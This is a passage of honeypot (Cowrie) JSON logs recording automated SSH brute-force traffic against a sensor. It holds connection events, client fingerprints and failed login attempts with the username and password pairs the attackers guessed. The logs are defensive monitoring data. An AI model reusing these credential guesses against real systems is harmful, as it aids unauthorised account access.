16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:04.719709Z","src_ip":"91.92.40.36","session":"0028a43917fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":59430,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e4a0dc0d9b","protocol":"ssh","message":"New connection: 103.82.20.28:59430 (10.17.0.5:22) [session: 50e4a0dc0d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:04.980740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:04.985089Z","src_ip":"103.82.20.28","session":"50e4a0dc0d9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:05.275213Z","src_ip":"103.82.20.28","session":"50e4a0dc0d9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43862,"dst_ip":"10.17.0.5","dst_port":22,"session":"c460115c6d60","protocol":"ssh","message":"New connection: 45.153.34.195:43862 (10.17.0.5:22) [session: c460115c6d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:05.904009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:05.917100Z","src_ip":"45.153.34.195","session":"c460115c6d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:06.012989Z","src_ip":"45.153.34.195","session":"c460115c6d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20021996","message":"login attempt [root/20021996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:06.125312Z","src_ip":"103.82.20.28","session":"50e4a0dc0d9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:06.276341Z","src_ip":"45.153.34.195","session":"c460115c6d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer12","message":"login attempt [developer/developer12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:06.387297Z","src_ip":"91.92.40.36","session":"e4083623743b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:07.360220Z","src_ip":"45.153.34.195","session":"c460115c6d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:07.412364Z","src_ip":"103.82.20.28","session":"50e4a0dc0d9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.589091300964355,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:07.579687Z","src_ip":"172.81.62.90","session":"2407592d53e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43866,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b868c533b33","protocol":"ssh","message":"New connection: 45.153.34.195:43866 (10.17.0.5:22) [session: 0b868c533b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:08.738238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:08.781790Z","src_ip":"45.153.34.195","session":"0b868c533b33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:08.902682Z","src_ip":"45.153.34.195","session":"0b868c533b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:09.146853Z","src_ip":"91.92.40.36","session":"e4083623743b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ana","password":"ana","message":"login attempt [ana/ana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:09.271895Z","src_ip":"45.153.34.195","session":"0b868c533b33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37078,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b4ad7f531d5","protocol":"ssh","message":"New connection: 91.92.40.36:37078 (159.203.135.109:22) [session: 4b4ad7f531d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:09.885523Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:10.420070Z","src_ip":"45.153.34.195","session":"0b868c533b33","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:11.078161Z","src_ip":"91.92.40.36","session":"4b4ad7f531d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:11.081644Z","src_ip":"91.92.40.36","session":"4b4ad7f531d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43870,"dst_ip":"10.17.0.5","dst_port":22,"session":"c084547542c4","protocol":"ssh","message":"New connection: 45.153.34.195:43870 (10.17.0.5:22) [session: c084547542c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:11.613430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:11.622740Z","src_ip":"45.153.34.195","session":"c084547542c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:11.712873Z","src_ip":"45.153.34.195","session":"c084547542c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"blackinclub!@#123","message":"login attempt [ubuntu/blackinclub!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:11.941289Z","src_ip":"91.92.40.36","session":"0028a43917fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:12.446969Z","src_ip":"45.153.34.195","session":"c084547542c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37094,"dst_ip":"159.203.135.109","dst_port":22,"session":"bac2ca050c6a","protocol":"ssh","message":"New connection: 91.92.40.36:37094 (159.203.135.109:22) [session: bac2ca050c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:12.786189Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:13.660681Z","src_ip":"45.153.34.195","session":"c084547542c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34720,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5cc5af7bd08","protocol":"ssh","message":"New connection: 45.153.34.195:34720 (10.17.0.5:22) [session: f5cc5af7bd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:14.549327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:14.553792Z","src_ip":"45.153.34.195","session":"f5cc5af7bd08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:14.636130Z","src_ip":"45.153.34.195","session":"f5cc5af7bd08","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:14.835908Z","src_ip":"91.92.40.36","session":"bac2ca050c6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:14.839550Z","src_ip":"91.92.40.36","session":"bac2ca050c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrew","password":"andrew","message":"login attempt [andrew/andrew] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:15.014122Z","src_ip":"45.153.34.195","session":"f5cc5af7bd08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:15.104372Z","src_ip":"91.92.40.36","session":"0028a43917fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:16.097670Z","src_ip":"45.153.34.195","session":"f5cc5af7bd08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34730,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d1cbd4715b5","protocol":"ssh","message":"New connection: 45.153.34.195:34730 (10.17.0.5:22) [session: 0d1cbd4715b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:17.531708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:17.536473Z","src_ip":"45.153.34.195","session":"0d1cbd4715b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60454,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fce1fea6e0b","protocol":"ssh","message":"New connection: 91.92.40.36:60454 (159.203.135.109:22) [session: 1fce1fea6e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:17.562695Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:17.629135Z","src_ip":"45.153.34.195","session":"0d1cbd4715b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:17.898440Z","src_ip":"45.153.34.195","session":"0d1cbd4715b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:18.981937Z","src_ip":"45.153.34.195","session":"0d1cbd4715b5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:19.790665Z","src_ip":"91.92.40.36","session":"1fce1fea6e0b","protocol":"ssh"}
